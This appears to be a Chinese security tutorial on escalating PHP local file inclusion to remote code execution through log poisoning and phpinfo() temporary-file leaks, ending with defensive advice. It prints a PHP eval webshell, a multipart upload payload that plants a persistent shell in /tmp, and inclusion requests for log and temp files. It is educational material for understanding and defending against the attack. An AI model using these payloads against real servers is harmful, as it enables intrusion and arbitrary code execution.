在PHP应用的某些漏洞场景中,攻击者不仅能通过包含日志文件来实现远程代码执行(RCE),还可以通过包含phpinfo()
页面来进行RCE。这两种方式有着不同的利用原理和流程,但都能实现代码执行。今天,我们将深入探讨这两种攻击方式的原理与利用方法。
攻击原理概述
LFI(Local File Inclusion,本地文件包含)攻击允许攻击者通过输入文件路径来读取本地文件。在某些情况下,如果攻击者能够包含并执行特定的文件,就可以导致远程代码执行(RCE)。LFI攻击常见的利用方式包括:
- 通过日志文件包含恶意代码。
- 通过
phpinfo()
页面获取临时文件路径并执行恶意代码。
接下来,我们将详细介绍这两种利用方式。
1. 日志文件包含实现RCE
日志文件作为攻击载体
在某些系统中,日志文件可能记录了大量的请求信息,尤其是错误日志。这些日志文件中可能包含恶意输入,或者某些用户的错误行为(如文件包含漏洞的输入)。攻击者可以利用这些日志文件来执行任意PHP代码。
原理:
-
攻击者输入恶意数据
在某些情况下,系统可能会将攻击者输入的数据记录到日志文件中。例如,攻击者可能在URL、UA或者cookie中构造恶意请求, 如果这个请求被记录在服务器的访问日志或错误日志中,攻击者就能通过文件包含漏洞来读取或执行日志文件中的内容。 -
包含恶意代码
攻击者构造一个包含恶意PHP代码的日志内容,并通过LFI漏洞将其包含。恶意代码可能会执行类似如下的操作:<?php eval($_REQUEST['cmd']); ?>
这段代码会通过
eval()
函数执行用户传递的命令,从而达到RCE的目的。
利用过程:
-
触发日志记录
攻击者通过特定的输入(例如恶意的文件路径)触发服务器的访问/错误日志记录。日志内容可能包含恶意的PHP代码。 -
通过LFI包含日志文件
利用LFI漏洞,攻击者可以将日志文件的路径传递给文件包含函数(如include()
或require()
),从而执行其中的恶意PHP代码。
例如:
GET /lfi.php?file=/var/log/apache2/error.log HTTP/1.1
Host: <target>
通过这种方式,攻击者可以利用日志文件中的恶意代码执行远程命令,获取系统Shell。
2. 通过phpinfo()
页面实现RCE
除了日志文件外,phpinfo()
页面也是一个潜在的攻击点。通过phpinfo()
页面,攻击者可以查看当前PHP环境的详细配置,并利用这些信息来执行恶意代码。
原理:
-
临时文件的利用
当PHP配置启用了file_uploads
功能时,PHP会自动处理文件上传请求,尽管没有专门的上传处理逻辑。上传的文件会临时存储在系统的临时目录(如/tmp
),并且文件名通常是随机生成的。临时文件名格式为phpXXXXXX
,例如:php3D9f1
。 -
phpinfo()
页面的作用
phpinfo()
是一个PHP内置函数,通常用于显示PHP的配置信息。通过访问phpinfo()
页面,攻击者可以查看包括$_FILES
变量在内的所有全局变量。$_FILES
变量会包含上传文件的临时路径,从而为攻击者提供了临时文件的位置信息。 -
结合文件包含漏洞(LFI)
如果目标系统存在文件包含漏洞(LFI),攻击者可以通过以下步骤利用phpinfo()
页面获取临时文件路径并执行恶意代码:- 向
phpinfo()
页面发送一个包含恶意PHP代码的文件上传请求。 - 通过
phpinfo()
页面获取临时文件的路径。 - 利用LFI漏洞,将临时文件路径作为参数传递给文件包含点,从而执行恶意代码。
- 向
利用过程:
-
构造恶意文件上传请求
攻击者构造一个包含恶意PHP代码的文件上传请求,并将该请求发送至目标系统的phpinfo()
页面。例如,攻击者可能上传一个包含恶意PHP代码的文本文件,如下所示:POST /phpinfo.php HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714 Content-Length: <length> Host: <target> -----------------------------7dbff1ded0714 Content-Disposition: form-data; name="dummyname"; filename="test.txt" Content-Type: text/plain <?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?> -----------------------------7dbff1ded0714--
这段代码会在系统的临时目录
/tmp
中创建一个包含恶意PHP代码的文件。恶意代码会使得攻击者能够通过访问该文件并传递参数来执行任意PHP代码。 -
获取临时文件路径
上传文件后,攻击者可以通过访问phpinfo()
页面来查看当前的PHP配置信息,尤其是查看$_FILES
变量。这将显示上传的临时文件路径。例如,攻击者可以在phpinfo()
页面中看到类似如下的输出:$_FILES['dummyname'] => array ( 'name' => 'test.txt', 'type' => 'text/plain', 'tmp_name' => '/tmp/php3D9f1', 'error' => 0, 'size' => 123, )
这里
tmp_name
提供了上传文件的临时路径/tmp/php3D9f1
。 -
利用LFI漏洞执行代码
一旦攻击者获得了临时文件的路径,接下来可以利用LFI漏洞将该路径作为参数传递给包含点(include
)函数,从而执行恶意代码。例如,攻击者可能通过以下请求尝试加载并执行该文件:GET /lfi.php?file=/tmp/php3D9f1 HTTP/1.1 Host: <target>
如果服务器存在LFI漏洞,攻击者将能够包含
/tmp/php3D9f1
文件,并执行其中的恶意PHP代码,例如:eval($_REQUEST[1])
,这允许攻击者远程执行任意PHP代码。
防御措施
为防止此类攻击,安全专家通常建议采取以下几项防御措施:
-
禁用不必要的
phpinfo()
页面
phpinfo()
页面通常用于调试,攻击者可能利用它来获取系统详细信息。建议禁用生产环境中的phpinfo()
页面,或者通过访问控制(如IP白名单)限制其访问。 -
禁用
file_uploads
功能
如果不需要上传文件,应该禁用PHP中的file_uploads
配置项。即便允许上传文件,也应严格限制文件上传路径,并确保上传的文件不包含恶意代码。 -
严格输入验证和过滤
对所有文件包含点进行严格的输入验证,确保文件路径参数不能被恶意篡改。最好通过白名单来限制可包含的文件路径,避免用户通过LFI漏洞读取系统任意文件。 -
使用更安全的文件处理方式
在处理文件上传时,确保上传的文件类型与内容相符,并使用文件扫描工具(如ClamAV)检查上传文件的恶意性。不要直接执行上传的文件内容。
总结
通过日志文件和 phpinfo()
页面,攻击者可以在某些PHP文件包含漏洞场景下实现远程代码执行(RCE)。这两种攻击方式的关键在于:
- 利用
phpinfo()
页面获取临时文件的路径。 - 通过文件包含漏洞(LFI)执行日志文件或临时文件中的恶意代码。
为了有效防御此类攻击,系统管理员应禁用不必要的 phpinfo()
页面,限制文件上传功能,并严格验证文件路径和上传内容。